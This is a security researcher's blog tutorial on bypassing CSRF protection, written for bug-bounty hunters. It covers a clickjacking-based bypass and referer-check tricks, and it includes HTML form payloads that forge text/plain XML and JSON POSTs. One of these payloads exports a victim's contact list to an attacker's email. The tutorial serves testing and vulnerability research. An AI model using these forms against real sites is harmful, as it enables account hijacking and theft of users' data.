@zseano
UK Security Researcher



A site containing various blog posts, tutorials, tools and information regarding working with me.

@zseano
UK Security Researcher



A site containing various blog posts, tutorials, tools and information regarding working with me.



Tutorials Blog Posts Tools Contact Information



Bypassing CSRF protection

Cross Site Request Forgery (CSRF) tokens are designed to stop a hidden FORM POST on evil.com from being submitted secretly to hijack your account on example.com. Websites such as Facebook implement this by using something called "fb_dtsg", and the general purpose is you can only do an action (such as update your email) if a valid "fb_dtsg" value is sent with the request. Unless the attacker has XSS, no attacker can get this unique value and spoof a request when you visit their malicious site. In this tutorial i'm going to describe an interesting bypass I found, as well as things you can also try.


The site has a CSRF token.. isn't vulnerable" - think again!

One bounty program had CSRF tokens on all their requests. Literally every action you did a CSRF token was sent with it. The bypass was actually extremely simple and made use of clickjacking.

If for example I was updating the email of my account, and I modify the request to send a blank CSRF value, it would reflect back the changes I wanted to make but with an error: CSRF_token is invalid. Please submit again.. The email hadn't successfuly updated, but it had been reflected back on the page.

Thanks to the lack of X-FRAME-OPTIONS, I was able to submit the request to update email, then iframe the result and clickjack the user to click "submit". Bingo, that users' account is now mine!

Other common ways to bypass CSRF tokens

Can you CSRF a JSON&XML payload?

Sure you can! This one might require some playing, since you have to make use of the the "=" character somewhere sometimes. Below is the HTML I use for XML posting:

<html>
     <body>
        <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> 
        <input type="hidden" name="<foo> <html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script>alert(1);</html:script> </html> </foo>">
         <input type="submit" value="submit"> </form>
     </body>
  </html>
  

And JSON posting (this example is exporting a users contact list on a bounty program)

<html>
     <body>
        <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> 
        <input type="hidden" name="{"params":{"limit":20,"and":false,"filters":[],"excluded_contacts":[]},"fields":["First Name","Last Name","Email Address","Title","Notes","Organization","Street","City","State","Tags","Zip Code","Phone Number","Gender","Event ID","Event Title","VIP","Twitter Handle","Twitter URL","Twitter Followers","Twitter Following","Facebook Name","Facebook URL","Facebook Friends","Instagram Handle","Instagram URL","Instagram Followers","Instagram Following","Website","Date Added","Unsubscribed"],"recipient":"myemail+2" value='@gmail.com'>
         <input type="submit" value="submit"> </form>
     </body>
  </html>
  

Notice how i'm making use of the "=" in the second request in the email parameter? Thanks to the way google mail works, an email sent to [email protected] will actually go to [email protected]

CSRF protection via referer

I've seen sites check the if the Referer is their site, and if yes = allow the request. If no = block the request. An interesting approach to stopping CSRF attacks, but as I blogged about here, we have some tricks up our sleeves to bypass this.

There is probably some things i'm missing, or perhaps you have an interesting concept to bypassing CSRF. If so, feel free to reach out to me and i'll add it onto here. Happy bug finding!